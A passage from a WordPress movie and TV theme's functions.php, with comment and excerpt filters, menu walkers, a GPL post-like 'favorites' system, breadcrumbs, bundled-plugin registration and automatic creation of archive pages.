757add_filter('comment_form_default_fields','crunchify_disable_comment_url');
758
759function wpb_reverse_comments($comments) {
760 return array_reverse($comments);
761 }
762add_filter ('comments_array', 'wpb_reverse_comments');
763
764
765function custom_excerpt_length( $length ) {
766 return 30;
767}
768add_filter( 'excerpt_length', 'custom_excerpt_length', 999 );
769
770function first_paragraph($content){
771 return preg_replace('/<p([^>]+)?>/', '<p$1 class="f-desc">', $content, 1);
772}
773add_filter('the_content', 'first_paragraph');
774function new_excerpt_more( $more ) {
775 return '...';
776}
777add_filter('excerpt_more', 'new_excerpt_more');
778
779add_filter('get_the_terms', 'hide_categories_terms', 10, 3);
780function hide_categories_terms($terms, $post_id, $taxonomy){
781 $hide_cat = get_option ('estrenos_cat');
782 // define which category IDs you want to hide
783 $excludeIDs = array($hide_cat);
784
785 // get all the terms
786 $exclude = array();
787 foreach ($excludeIDs as $id) {
788 $exclude[] = get_term_by('id', $id, 'category');
789 }
790
791 // filter the categories
792 if (!is_admin()) {
793 foreach($terms as $key => $term){
794 if($term->taxonomy == "category"){
795 foreach ($exclude as $exKey => $exTerm) {
796 if($term->term_id == $exTerm->term_id) unset($terms[$key]);
797 }
798 }
799 }
800 }
801
802 return $terms;
803}
804
805
806function namespace_add_custom_types( $query ) {
807 if( is_category() || is_tag() && empty( $query->query_vars['suppress_filters'] ) ) {
808 $query->set( 'post_type', array(
809 'post', 'nav_menu_item', 'tvshows', 'episodes'
810 ));
811 return $query;
812 }
813}
814add_filter( 'pre_get_posts', 'namespace_add_custom_types' );
815
816function psythemes_custom_posts_per_page($query)
817{
818 $ppp = get_option('article-archive-posts');
819 switch ( $query->query_vars['post_type'] )
820 {
821 case 'noticias':
822 $query->query_vars['posts_per_page'] = $ppp; //display all is -1
823 break;
824
825 }
826 return $query;
827}
828if( !is_admin() )
829{
830 add_filter( 'pre_get_posts', 'psythemes_custom_posts_per_page' );
831}
832
833function replace_featured_image_box()
834{
835 remove_meta_box( 'postimagediv', 'noticias', 'side' );
836 add_meta_box('postimagediv', __('Article Thumbnail'), 'post_thumbnail_meta_box', 'noticias', 'side', 'low');
837}
838add_action('do_meta_boxes', 'replace_featured_image_box');
839
840class WPSE_78121_Sublevel_Walker extends Walker_Nav_Menu
841{
842function start_lvl( &$output, $depth = 0, $args = array() ) {
843$indent = str_repeat("\t", $depth);
844$output .= "\n$indent<div class='sub-container' style='display: none;'><ul class='sub-menu'>\n";
845}
846function end_lvl( &$output, $depth = 0, $args = array() ) {
847$indent = str_repeat("\t", $depth);
848$output .= "$indent</ul></div>\n";
849}
850}
851
852
853
854function wpse45700_get_menu_by_location( $location ) {
855 if( empty($location) ) return false;
856
857 $locations = get_nav_menu_locations();
858 if( ! isset( $locations[$location] ) ) return false;
859
860 $menu_obj = get_term( $locations[$location], 'nav_menu' );
861
862 return $menu_obj;
863}
864
865
866
867
868
869class Walker_Quickstart_Menu extends Walker_Nav_Menu {
870
871 // Tell Walker where to inherit it's parent and id values
872 var $db_fields = array(
873 'parent' => 'menu_item_parent',
874 'id' => 'db_id'
875 );
876
877 function start_el( &$output, $item, $depth = 0, $args = array(), $id = 0 ) {
878 $output .= sprintf( "\n<p><a href='%s'%s>%s</a></p>\n",
879 $item->url,
880 ( $item->object_id === get_the_ID() ) ? '' : '',
881 $item->title
882 );
883 }
884
885}
886
887
888
889
890require_once( get_template_directory() .'/better-comments.php' );
891
892
893
894// add_filter( 'wp_default_editor', create_function('', 'return "html";') );
895
896
897function favorite_buttons() { ?>
898<?php if(get_option('favorite-settings') == "true") {?>
899<?php if(get_option('fav-allow-settings') == "1") { ?>
900<?php echo favorite_user_only(); ?>
901<?php } elseif(get_option('fav-allow-settings') == "2") { ?>
902<?php echo get_simple_likes_button( get_the_ID() ); ?>
903<?php }?>
904<?php }?>
905<?php }
906
907
908
909
910
911
912
913
914
915
916
917
918
919function favorite_user_guest(){ ?>
920<?php echo get_simple_likes_button( get_the_ID() ); ?>
921<?php }
922
923function favorite_user_only(){?>
924<?php if (is_user_logged_in()) { echo get_simple_likes_button( get_the_ID() ); ?>
925<?php }else { echo guest_fav_button(); ?>
926<?php }?>
927<?php }
928
929
930
931function guest_fav_button() { ?>
932<a href="#pt-login" class="sl-button btn bp-btn-favorite"><i class="fa fa-heart"></i> <span></span></a>
933<?php }
934
935
936/*
937Name: WordPress Post Like System
938Description: A simple and efficient post like system for WordPress.
939Version: 0.5.2
940Author: Jon Masterson
941Author URI: http://jonmasterson.com/
942License:
943Copyright (C) 2015 Jon Masterson
944This program is free software: you can redistribute it and/or modify
945it under the terms of the GNU General Public License as published by
946the Free Software Foundation, either version 3 of the License, or
947(at your option) any later version.
948This program is distributed in the hope that it will be useful,
949but WITHOUT ANY WARRANTY; without even the implied warranty of
950MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
951GNU General Public License for more details.
952You should have received a copy of the GNU General Public License
953along with this program. If not, see <http://www.gnu.org/licenses/>.
954*/
955
956/**
957 * Register the stylesheets for the public-facing side of the site.
958 * @since 0.5
959 */
960add_action( 'wp_enqueue_scripts', 'sl_enqueue_scripts' );
961function sl_enqueue_scripts() {
962 wp_enqueue_script( 'simple-likes-public-js', get_template_directory_uri() . '/js/simple-likes-public.js', array( 'jquery' ), '0.5', false );
963 wp_localize_script( 'simple-likes-public-js', 'simpleLikes', array(
964 'ajaxurl' => admin_url( 'admin-ajax.php' ),
965 'like' => __( 'Favorite', 'psythemes' ),
966 'unlike' => __( 'Remove Favorite', 'psythemes' )
967 ) );
968}
969
970/**
971 * Processes like/unlike
972 * @since 0.5
973 */
974add_action( 'wp_ajax_nopriv_process_simple_like', 'process_simple_like' );
975add_action( 'wp_ajax_process_simple_like', 'process_simple_like' );
976function process_simple_like() {
977 // Security
978 $nonce = isset( $_REQUEST['nonce'] ) ? sanitize_text_field( $_REQUEST['nonce'] ) : 0;
979 if ( !wp_verify_nonce( $nonce, 'simple-likes-nonce' ) ) {
980 exit( __( 'Not permitted', 'psythemes' ) );
981 }
982 // Test if javascript is disabled
983 $disabled = ( isset( $_REQUEST['disabled'] ) && $_REQUEST['disabled'] == true ) ? true : false;
984 // Test if this is a comment
985 $is_comment = ( isset( $_REQUEST['is_comment'] ) && $_REQUEST['is_comment'] == 1 ) ? 1 : 0;
986 // Base variables
987 $post_id = ( isset( $_REQUEST['post_id'] ) && is_numeric( $_REQUEST['post_id'] ) ) ? $_REQUEST['post_id'] : '';
988 $result = array();
989 $post_users = NULL;
990 $like_count = 0;
991 // Get plugin options
992 if ( $post_id != '' ) {
993 $count = ( $is_comment == 1 ) ? get_comment_meta( $post_id, "_comment_like_count", true ) : get_post_meta( $post_id, "_post_like_count", true ); // like count
994 $count = ( isset( $count ) && is_numeric( $count ) ) ? $count : 0;
995 if ( !already_liked( $post_id, $is_comment ) ) { // Like the post
996 if ( is_user_logged_in() ) { // user is logged in
997 $user_id = get_current_user_id();
998 $post_users = post_user_likes( $user_id, $post_id, $is_comment );
999 if ( $is_comment == 1 ) {
1000 // Update User & Comment
1001 $user_like_count = get_user_option( "_comment_like_count", $user_id );
1002 $user_like_count = ( isset( $user_like_count ) && is_numeric( $user_like_count ) ) ? $user_like_count : 0;
1003 update_user_option( $user_id, "_comment_like_count", ++$user_like_count );
1004 if ( $post_users ) {
1005 update_comment_meta( $post_id, "_user_comment_liked", $post_users );
1006 }
1007 } else {
1008 // Update User & Post
1009 $user_like_count = get_user_option( "_user_like_count", $user_id );
1010 $user_like_count = ( isset( $user_like_count ) && is_numeric( $user_like_count ) ) ? $user_like_count : 0;
1011 update_user_option( $user_id, "_user_like_count", ++$user_like_count );
1012 if ( $post_users ) {
1013 update_post_meta( $post_id, "_user_liked", $post_users );
1014 }
1015 }
1016 } else { // user is anonymous
1017 $user_ip = sl_get_ip();
1018 $post_users = post_ip_likes( $user_ip, $post_id, $is_comment );
1019 // Update Post
1020 if ( $post_users ) {
1021 if ( $is_comment == 1 ) {
1022 update_comment_meta( $post_id, "_user_comment_IP", $post_users );
1023 } else {
1024 update_post_meta( $post_id, "_user_IP", $post_users );
1025 }
1026 }
1027 }
1028 $like_count = ++$count;
1029 $response['status'] = "liked";
1030 $response['icon'] = get_liked_icon();
1031 } else { // Unlike the post
1032 if ( is_user_logged_in() ) { // user is logged in
1033 $user_id = get_current_user_id();
1034 $post_users = post_user_likes( $user_id, $post_id, $is_comment );
1035 // Update User
1036 if ( $is_comment == 1 ) {
1037 $user_like_count = get_user_option( "_comment_like_count", $user_id );
1038 $user_like_count = ( isset( $user_like_count ) && is_numeric( $user_like_count ) ) ? $user_like_count : 0;
1039 if ( $user_like_count > 0 ) {
1040 update_user_option( $user_id, "_comment_like_count", --$user_like_count );
1041 }
1042 } else {
1043 $user_like_count = get_user_option( "_user_like_count", $user_id );
1044 $user_like_count = ( isset( $user_like_count ) && is_numeric( $user_like_count ) ) ? $user_like_count : 0;
1045 if ( $user_like_count > 0 ) {
1046 update_user_option( $user_id, '_user_like_count', --$user_like_count );
1047 }
1048 }
1049 // Update Post
1050 if ( $post_users ) {
1051 $uid_key = array_search( $user_id, $post_users );
1052 unset( $post_users[$uid_key] );
1053 if ( $is_comment == 1 ) {
1054 update_comment_meta( $post_id, "_user_comment_liked", $post_users );
1055 } else {
1056 update_post_meta( $post_id, "_user_liked", $post_users );
1057 }
1058 }
1059 } else { // user is anonymous
1060 $user_ip = sl_get_ip();
1061 $post_users = post_ip_likes( $user_ip, $post_id, $is_comment );
1062 // Update Post
1063 if ( $post_users ) {
1064 $uip_key = array_search( $user_ip, $post_users );
1065 unset( $post_users[$uip_key] );
1066 if ( $is_comment == 1 ) {
1067 update_comment_meta( $post_id, "_user_comment_IP", $post_users );
1068 } else {
1069 update_post_meta( $post_id, "_user_IP", $post_users );
1070 }
1071 }
1072 }
1073 $like_count = ( $count > 0 ) ? --$count : 0; // Prevent negative number
1074 $response['status'] = "unliked";
1075 $response['icon'] = get_unliked_icon();
1076 }
1077 if ( $is_comment == 1 ) {
1078 update_comment_meta( $post_id, "_comment_like_count", $like_count );
1079 update_comment_meta( $post_id, "_comment_like_modified", date( 'Y-m-d H:i:s' ) );
1080 } else {
1081 update_post_meta( $post_id, "_post_like_count", $like_count );
1082 update_post_meta( $post_id, "_post_like_modified", date( 'Y-m-d H:i:s' ) );
1083 }
1084 $response['count'] = get_like_count( $like_count );
1085 $response['testing'] = $is_comment;
1086 if ( $disabled == true ) {
1087 if ( $is_comment == 1 ) {
1088 wp_redirect( get_permalink( get_the_ID() ) );
1089 exit();
1090 } else {
1091 wp_redirect( get_permalink( $post_id ) );
1092 exit();
1093 }
1094 } else {
1095 wp_send_json( $response );
1096 }
1097 }
1098}
1099
1100/**
1101 * Utility to test if the post is already liked
1102 * @since 0.5
1103 */
1104function already_liked( $post_id, $is_comment ) {
1105 $post_users = NULL;
1106 $user_id = NULL;
1107 if ( is_user_logged_in() ) { // user is logged in
1108 $user_id = get_current_user_id();
1109 $post_meta_users = ( $is_comment == 1 ) ? get_comment_meta( $post_id, "_user_comment_liked" ) : get_post_meta( $post_id, "_user_liked" );
1110 if ( count( $post_meta_users ) != 0 ) {
1111 $post_users = $post_meta_users[0];
1112 }
1113 } else { // user is anonymous
1114 $user_id = sl_get_ip();
1115 $post_meta_users = ( $is_comment == 1 ) ? get_comment_meta( $post_id, "_user_comment_IP" ) : get_post_meta( $post_id, "_user_IP" );
1116 if ( count( $post_meta_users ) != 0 ) { // meta exists, set up values
1117 $post_users = $post_meta_users[0];
1118 }
1119 }
1120 if ( is_array( $post_users ) && in_array( $user_id, $post_users ) ) {
1121 return true;
1122 } else {
1123 return false;
1124 }
1125} // already_liked()
1126
1127/**
1128 * Output the like button
1129 * @since 0.5
1130 */
1131function get_simple_likes_button( $post_id, $is_comment = NULL ) {
1132 $is_comment = ( NULL == $is_comment ) ? 0 : 1;
1133 $output = '';
1134 $nonce = wp_create_nonce( 'simple-likes-nonce' ); // Security
1135 if ( $is_comment == 1 ) {
1136 $post_id_class = esc_attr( ' sl-comment-button-' . $post_id );
1137 $comment_class = esc_attr( ' sl-comment' );
1138 $like_count = get_comment_meta( $post_id, "_comment_like_count", true );
1139 $like_count = ( isset( $like_count ) && is_numeric( $like_count ) ) ? $like_count : 0;
1140 } else {
1141 $post_id_class = esc_attr( ' sl-button-' . $post_id );
1142 $comment_class = esc_attr( '' );
1143 $like_count = get_post_meta( $post_id, "_post_like_count", true );
1144 $like_count = ( isset( $like_count ) && is_numeric( $like_count ) ) ? $like_count : 0;
1145 }
1146 $count = get_like_count( $like_count );
1147 $icon_empty = get_unliked_icon();
1148 $icon_full = get_liked_icon();
1149 // Loader
1150 $loader = '<span id="sl-loader"></span>';
1151 // Liked/Unliked Variables
1152 if ( already_liked( $post_id, $is_comment ) ) {
1153 $class = esc_attr( ' liked' );
1154 $title = __( 'Remove Favorite', 'psythemes' );
1155 $icon = $icon_full;
1156 } else {
1157 $class = '';
1158 $title = __( 'Favorite', 'psythemes' );
1159 $icon = $icon_empty;
1160 }
1161 $output = '<a href="javascript:void(0)" class="sl-button btn bp-btn-like' . $post_id_class . $class . $comment_class . '" data-nonce="' . $nonce . '" data-post-id="' . $post_id . '" data-iscomment="' . $is_comment . '" title="' . $title . '">' . $icon . $count . '</a>' . $loader . '';
1162 return $output;
1163} // get_simple_likes_button()
1164
1165/**
1166 * Processes shortcode to manually add the button to posts
1167 * @since 0.5
1168 */
1169add_shortcode( 'jmliker', 'sl_shortcode' );
1170function sl_shortcode() {
1171 return get_simple_likes_button( get_the_ID(), 0 );
1172} // shortcode()
1173
1174/**
1175 * Utility retrieves post meta user likes (user id array),
1176 * then adds new user id to retrieved array
1177 * @since 0.5
1178 */
1179function post_user_likes( $user_id, $post_id, $is_comment ) {
1180 $post_users = '';
1181 $post_meta_users = ( $is_comment == 1 ) ? get_comment_meta( $post_id, "_user_comment_liked" ) : get_post_meta( $post_id, "_user_liked" );
1182 if ( count( $post_meta_users ) != 0 ) {
1183 $post_users = $post_meta_users[0];
1184 }
1185 if ( !is_array( $post_users ) ) {
1186 $post_users = array();
1187 }
1188 if ( !in_array( $user_id, $post_users ) ) {
1189 $post_users['user-' . $user_id] = $user_id;
1190 }
1191 return $post_users;
1192} // post_user_likes()
1193
1194/**
1195 * Utility retrieves post meta ip likes (ip array),
1196 * then adds new ip to retrieved array
1197 * @since 0.5
1198 */
1199function post_ip_likes( $user_ip, $post_id, $is_comment ) {
1200 $post_users = '';
1201 $post_meta_users = ( $is_comment == 1 ) ? get_comment_meta( $post_id, "_user_comment_IP" ) : get_post_meta( $post_id, "_user_IP" );
1202 // Retrieve post information
1203 if ( count( $post_meta_users ) != 0 ) {
1204 $post_users = $post_meta_users[0];
1205 }
1206 if ( !is_array( $post_users ) ) {
1207 $post_users = array();
1208 }
1209 if ( !in_array( $user_ip, $post_users ) ) {
1210 $post_users['ip-' . $user_ip] = $user_ip;
1211 }
1212 return $post_users;
1213} // post_ip_likes()
1214
1215/**
1216 * Utility to retrieve IP address
1217 * @since 0.5
1218 */
1219function sl_get_ip() {
1220 if ( isset( $_SERVER['HTTP_CLIENT_IP'] ) && ! empty( $_SERVER['HTTP_CLIENT_IP'] ) ) {
1221 $ip = $_SERVER['HTTP_CLIENT_IP'];
1222 } elseif ( isset( $_SERVER['HTTP_X_FORWARDED_FOR'] ) && ! empty( $_SERVER['HTTP_X_FORWARDED_FOR'] ) ) {
1223 $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
1224 } else {
1225 $ip = ( isset( $_SERVER['REMOTE_ADDR'] ) ) ? $_SERVER['REMOTE_ADDR'] : '0.0.0.0';
1226 }
1227 $ip = filter_var( $ip, FILTER_VALIDATE_IP );
1228 $ip = ( $ip === false ) ? '0.0.0.0' : $ip;
1229 return $ip;
1230} // sl_get_ip()
1231
1232/**
1233 * Utility returns the button icon for "like" action
1234 * @since 0.5
1235 */
1236function get_liked_icon() {
1237 /* If already using Font Awesome with your theme, replace svg with: <i class="fa fa-heart"></i> */
1238 $icon = '<i class="fa fa-heart"></i>';
1239 return $icon;
1240} // get_liked_icon()
1241
1242/**
1243 * Utility returns the button icon for "unlike" action
1244 * @since 0.5
1245 */
1246function get_unliked_icon() {
1247 /* If already using Font Awesome with your theme, replace svg with: <i class="fa fa-heart-o"></i> */
1248 $icon = '<i class="fa fa-heart"></i>';
1249 return $icon;
1250} // get_unliked_icon()
1251
1252/**
1253 * Utility function to format the button count,
1254 * appending "K" if one thousand or greater,
1255 * "M" if one million or greater,
1256 * and "B" if one billion or greater (unlikely).
1257 * $precision = how many decimal points to display (1.25K)
1258 * @since 0.5
1259 */
1260function sl_format_count( $number ) {
1261 $precision = 2;
1262 if ( $number >= 1000 && $number < 1000000 ) {
1263 $formatted = number_format( $number/1000, $precision ).'K';
1264 } else if ( $number >= 1000000 && $number < 1000000000 ) {
1265 $formatted = number_format( $number/1000000, $precision ).'M';
1266 } else if ( $number >= 1000000000 ) {
1267 $formatted = number_format( $number/1000000000, $precision ).'B';
1268 } else {
1269 $formatted = $number; // Number is less than 1000
1270 }
1271 $formatted = str_replace( '.00', '', $formatted );
1272 return $formatted;
1273} // sl_format_count()
1274
1275/**
1276 * Utility retrieves count plus count options,
1277 * returns appropriate format based on options
1278 * @since 0.5
1279 */
1280function get_like_count( $like_count ) {
1281 $like_text = __( '', 'psythemes' );
1282 if ( is_numeric( $like_count ) && $like_count > 0 ) {
1283 $number = sl_format_count( $like_count );
1284 } else {
1285 $number = $like_text;
1286 }
1287 $count = 'Favorite';
1288 return $count;
1289} // get_like_count()
1290
1291// User Profile List
1292add_action( 'show_user_profile', 'show_user_likes' );
1293add_action( 'edit_user_profile', 'show_user_likes' );
1294function show_user_likes( $user ) { ?>
1295<h2><?php _e( 'Favorites', 'psythemes' ); ?></</h2>
1296 <table class="form-table">
1297 <tr>
1298 <th><label for="user_likes"><?php _e( 'Your Favorites:', 'psythemes' ); ?></label></th>
1299 <td>
1300 <?php
1301 $types = get_post_types( array( 'public' => true ) );
1302 $args = array(
1303 'numberposts' => -1,
1304 'post_type' => $types,
1305 'meta_query' => array (
1306 array (
1307 'key' => '_user_liked',
1308 'value' => $user->ID,
1309 'compare' => 'LIKE'
1310 )
1311 ) );
1312 $sep = '';
1313 $like_query = new WP_Query( $args );
1314 if ( $like_query->have_posts() ) : ?>
1315 <p>
1316 <?php while ( $like_query->have_posts() ) : $like_query->the_post();
1317 echo $sep; ?><a href="<?php the_permalink(); ?>" title="<?php the_title_attribute(); ?>"><?php the_title(); ?></a>
1318 <?php
1319 $sep = ' · ';
1320 endwhile;
1321 ?>
1322 </p>
1323 <?php else : ?>
1324 <p><?php _e( 'You do not like anything yet.', 'psythemes' ); ?></p>
1325 <?php
1326 endif;
1327 wp_reset_postdata();
1328 ?>
1329 </td>
1330 </tr>
1331 </table>
1332<?php } // show_user_likes()
1333function custom_rating_image_extension() {
1334 return 'png';
1335}
1336add_filter( 'wp_postratings_image_extension', 'custom_rating_image_extension' );
1337
1338function meta_image() {?>
1339<meta property="og:image:width" content="300"/>
1340<meta property="og:image:height" content="425"/>
1341<meta property="og:image:type" content="image/jpeg"/>
1342<?php }
1343
1344
1345function movies_breadcrumbs() { ?>
1346<div id="bread">
1347<ol class="breadcrumb">
1348<li><a href="<?php bloginfo('url'); ?>"><?php _e('Home', 'psythemes'); ?></a></li>
1349<li><a href="<?php echo get_option('mov_archive');?>"><?php _e('Movies', 'psythemes'); ?></a></li>
1350<li class="active"><?php the_title(); ?></li>
1351</ol>
1352</div>
1353<?php }
1354function tv_breadcrumbs() { ?>
1355<div id="bread">
1356<ol class="breadcrumb">
1357<li><a href="<?php bloginfo('url'); ?>"><?php _e('Home', 'psythemes'); ?></a></li>
1358<li><a href="<?php bloginfo('url'); ?>/series/"><?php _e('TV Series', 'psythemes'); ?></a></li>
1359<li class="active"><?php the_title(); ?></li>
1360</ol>
1361</div>
1362<?php }
1363function ep_breadcrumbs() { ?>
1364<div id="bread">
1365<ol class="breadcrumb">
1366<li><a href="<?php bloginfo('url'); ?>"><?php _e('Home', 'psythemes'); ?></a></li>
1367<?php if($dato = episodios_get_meta('serie')) { ?>
1368<li><a href="<?php bloginfo('url'); ?>/series/<?php echo sanitize_title(episodios_get_meta('serie')); ?>"><?php echo $dato; ?></a></li>
1369<?php } else { ?>
1370<li><a href="<?php bloginfo('url'); ?>/series/"><?php _e('TV Series', 'psythemes'); ?></a></li>
1371<?php }?>
1372<li class="active"><?php the_title(); ?></li>
1373</ol>
1374</div>
1375<?php }
1376function news_breadcrumbs() { ?>
1377<div id="bread">
1378<ol class="breadcrumb">
1379<li><a href="<?php bloginfo('url'); ?>"><?php _e('Home', 'psythemes'); ?></a></li>
1380<li><a href="<?php bloginfo('url'); ?>/articles"><?php _e('Articles', 'psythemes'); ?></a></li>
1381<li class="active"><?php the_title(); ?></li>
1382</ol>
1383</div>
1384<?php }
1385function article_breadcrumbs() { ?>
1386<div id="bread">
1387<ol class="breadcrumb">
1388<li><a href="<?php bloginfo('url'); ?>"><?php _e('Home', 'psythemes'); ?></a></li>
1389<li class="active"><?php _e('Articles', 'psythemes'); ?></li>
1390</ol>
1391</div>
1392<?php }
1393
1394function page_breadcrumbs() { ?>
1395<div id="bread">
1396<ol class="breadcrumb">
1397<li><a href="<?php bloginfo('url'); ?>"><?php _e('Home', 'psythemes'); ?></a></li>
1398<li class="active"><?php the_title(); ?></li>
1399</ol>
1400</div>
1401<?php }
1402
1403function star_rating() {?>
1404<div id="movie-mark" class="btn btn-danger averagerate"><?php if($noners = get_post_meta( get_the_ID(), 'ratings_average', true ) ) { echo $noners; ?><?php } else { echo '0' ?><?php }?></div>
1405<label id="movie-rating">Rating <?php if($noners = get_post_meta( get_the_ID(), 'ratings_users', true ) ) { ?>(<?php echo $noners; ?>)<?php } else { ?>(0)<?php }?></label>
1406<?php if(function_exists('the_ratings')) { the_ratings(); } ?>
1407
1408<?php }
1409require get_template_directory() . '/includes/ajax/ajax-login-register.php';
1410
1411require_once dirname( __FILE__ ) . '/tgm-init.php';
1412
1413add_action( 'tgmpa_register', 'my_theme_register_required_plugins' );
1414
1415function my_theme_register_required_plugins() {
1416 /*
1417 * Array of plugin arrays. Required keys are name and slug.
1418 * If the source is NOT from the .org repo, then source is also required.
1419 */
1420 $plugins = array(
1421
1422 // This is an example of how to include a plugin bundled with a theme.
1423 array(
1424 'name' => 'WP-PostRatings Plugin', // The plugin name.
1425 'slug' => 'wp-postratings', // The plugin slug (typically the folder name).
1426 'source' => get_stylesheet_directory() . '/includes/plugins/wp-postratings.zip', // The plugin source.
1427 'required' => true, // If false, the plugin is only 'recommended' instead of required.
1428 'version' => '1.84', // E.g. 1.0.0. If set, the active plugin must be this version or higher. If the plugin version is higher than the plugin version installed, the user will be notified to update the plugin.
1429 'force_activation' => false, // If true, plugin is activated upon theme activation and cannot be deactivated until theme switch.
1430 'force_deactivation' => false, // If true, plugin is deactivated upon theme switch, useful for theme-specific plugins.
1431 'external_url' => '', // If set, overrides default API URL and points to an external URL.
1432 'is_callable' => '', // If set, this callable will be be checked for availability to determine if a plugin is active.
1433 ),
1434 array(
1435 'name' => 'WP-Postviews Plugin', // The plugin name.
1436 'slug' => 'wp-postviews', // The plugin slug (typically the folder name).
1437 'source' => get_stylesheet_directory() . '/includes/plugins/wp-postviews.zip', // The plugin source.
1438 'required' => true, // If false, the plugin is only 'recommended' instead of required.
1439 'version' => '', // E.g. 1.0.0. If set, the active plugin must be this version or higher. If the plugin version is higher than the plugin version installed, the user will be notified to update the plugin.
1440 'force_activation' => false, // If true, plugin is activated upon theme activation and cannot be deactivated until theme switch.
1441 'force_deactivation' => false, // If true, plugin is deactivated upon theme switch, useful for theme-specific plugins.
1442 'external_url' => '', // If set, overrides default API URL and points to an external URL.
1443 'is_callable' => '', // If set, this callable will be be checked for availability to determine if a plugin is active.
1444 ),
1445 $config = array(
1446 'id' => 'tgmpa', // Unique ID for hashing notices for multiple instances of TGMPA.
1447 'default_path' => '', // Default absolute path to bundled plugins.
1448 'menu' => 'tgmpa-install-plugins', // Menu slug.
1449 'parent_slug' => 'themes.php', // Parent menu slug.
1450 'capability' => 'edit_theme_options', // Capability needed to view plugin install page, should be a capability associated with the parent menu used.
1451 'has_notices' => true, // Show admin notices or not.
1452 'dismissable' => false, // If false, a user cannot dismiss the nag message.
1453 'dismiss_msg' => '', // If 'dismissable' is false, this message will be output at top of nag.
1454 'is_automatic' => true, // Automatically activate plugins after installation or not.
1455 'message' => '', // Message to output right before the plugins table.
1456 ),
1457);
1458
1459 tgmpa( $plugins, $config );
1460}
1461
1462
1463
1464function psythemescast_the_terms( $post_id, $taxonomy_slug) {
1465 $terms = get_the_terms( $post_id, $taxonomy_slug );
1466 $separator = sprintf( '', esc_html( $separator ) );
1467
1468 if ( ! $terms || is_wp_error( $terms ) ) {
1469 return false;
1470 }
1471
1472 $links = array();
1473
1474 foreach ( $terms as $term ) {
1475 $links[] = sprintf( '<span><a href="%2$s">%3$s</a>,</span> ',
1476 esc_attr( $term->slug ),
1477 esc_url( get_term_link( $term->slug, $taxonomy_slug ) ),
1478 esc_html( $term->name )
1479 );
1480 }
1481 ?>
1482
1483 <?php echo implode( $separator, $links ); ?>
1484 <?php
1485}
1486
1487function psyplay_login() {
1488echo '<link rel="stylesheet" type="text/css" href="' . get_bloginfo('stylesheet_directory') . '/css/admin/main.css" />';
1489}
1490add_action('login_head', 'psyplay_login');
1491
1492
1493
1494function the_url( $url ) {
1495 return get_bloginfo( 'url' );
1496}
1497
1498add_filter( 'login_headerurl', 'the_url' );
1499
1500
1501add_filter('posts_search', 'search_title');
1502function search_title($search) {
1503 preg_match('/title-([^%]+)/', $search, $m);
1504 if (isset($m[1])) {
1505 if($m[1] == '09') return " AND ".DT_PREFIX."posts.post_title REGEXP '^[0-9]' AND (".DT_PREFIX."posts.post_password = '') ";
1506 return " AND ".DT_PREFIX."posts.post_title LIKE '$m[1]%' AND (".DT_PREFIX."posts.post_password = '') ";
1507 } else {
1508 return $search;
1509 }
1510}
1511
1512
1513if(is_admin() and current_user_can('administrator')){
1514 // Top IMDb Page
1515 $page_topimdb = get_option('topimdb_archive');
1516 if(empty($page_topimdb)){
1517 $post_id = wp_insert_post(array(
1518 'post_content' => '',
1519 'post_name' => __('Top IMDb','mtms'),
1520 'post_title' => __('Top IMDb','mtms'),
1521 'post_status' => 'publish',
1522 'post_type' => 'page',
1523 'ping_status' => 'closed',
1524 'post_date' => date('Y-m-d H:i:s'),
1525 'post_date_gmt' => date('Y-m-d H:i:s'),
1526 'comment_status' => 'closed',
1527 'page_template' => 'top_imdb.php'
1528 ));
1529 $get_01 = get_option('siteurl').'/' . sanitize_title(__('Top IMDb','mtms')).'/';
1530 update_option('topimdb_archive', $get_01);
1531 }
1532 // Most Rating Page
1533 $page_mostrating = get_option('mrat_archive');
1534 if(empty($page_mostrating)){
1535 $post_id = wp_insert_post(array(
1536 'post_content' => '',
1537 'post_name' => __('Most Rating','mtms'),
1538 'post_title' => __('Most Rating','mtms'),
1539 'post_status' => 'publish',
1540 'post_type' => 'page',
1541 'ping_status' => 'closed',
1542 'post_date' => date('Y-m-d H:i:s'),
1543 'post_date_gmt' => date('Y-m-d H:i:s'),
1544 'comment_status' => 'closed',
1545 'page_template' => 'top_ratings.php'
1546 ));
1547 $get_02 = get_option('siteurl').'/' . sanitize_title(__('Most Rating','mtms')).'/';
1548 update_option('mrat_archive', $get_02);
1549 }
1550 // Most Favorite Page
1551 $page_mostfavorite = get_option('mfav_archive');
1552 if(empty($page_mostfavorite)){
1553 $post_id = wp_insert_post(array(
1554 'post_content' => '',
1555 'post_name' => __('Most Favorites','mtms'),
1556 'post_title' => __('Most Favorites','mtms'),
1557 'post_status' => 'publish',
1558 'post_type' => 'page',
1559 'ping_status' => 'closed',
1560 'post_date' => date('Y-m-d H:i:s'),
1561 'post_date_gmt' => date('Y-m-d H:i:s'),
1562 'comment_status' => 'closed',
1563 'page_template' => 'top_favorites.php'
1564 ));
1565 $get_03 = get_option('siteurl').'/' . sanitize_title(__('Most Favorites','mtms')).'/';
1566 update_option('mfav_archive', $get_03);
1567 }
1568
1569 // Most Viewed Page
1570 $page_mostviewed = get_option('mviewed_archive');
1571 if(empty($page_mostviewed)){
1572 $post_id = wp_insert_post(array(
1573 'post_content' => '',
1574 'post_name' => __('Most Viewed','mtms'),
1575 'post_title' => __('Most Viewed','mtms'),
1576 'post_status' => 'publish',
1577 'post_type' => 'page',
1578 'ping_status' => 'closed',
1579 'post_date' => date('Y-m-d H:i:s'),
1580 'post_date_gmt' => date('Y-m-d H:i:s'),
1581 'comment_status' => 'closed',
1582 'page_template' => 'top_views.php'
1583 ));
1584 $get_04 = get_option('siteurl').'/' . sanitize_title(__('Most Viewed','mtms')).'/';
1585 update_option('mviewed_archive', $get_04);
1586 }
1587
1588 // Movies Page
1589 $page_movies = get_option('mov_archive');
1590 if(empty($page_movies)){
1591 $post_id = wp_insert_post(array(
1592 'post_content' => '',
1593 'post_name' => __('Movies','mtms'),
1594 'post_title' => __('Movies','mtms'),
1595 'post_status' => 'publish',
1596 'post_type' => 'page',
1597 'ping_status' => 'closed',
1598 'post_date' => date('Y-m-d H:i:s'),
1599 'post_date_gmt' => date('Y-m-d H:i:s'),
1600 'comment_status' => 'closed',
1601 'page_template' => 'archive-movies.php'
1602 ));
1603 $get_05 = get_option('siteurl').'/' . sanitize_title(__('Movies','mtms')).'/';
1604 update_option('mov_archive', $get_05);
1605 }
1606
1607 // Account Page
1608 $page_account = get_option('account_page');
1609 if(empty($page_account)){
1610 $post_id = wp_insert_post(array(
1611 'post_content' => '',
1612 'post_name' => __('Account','mtms'),
1613 'post_title' => __('Account','mtms'),
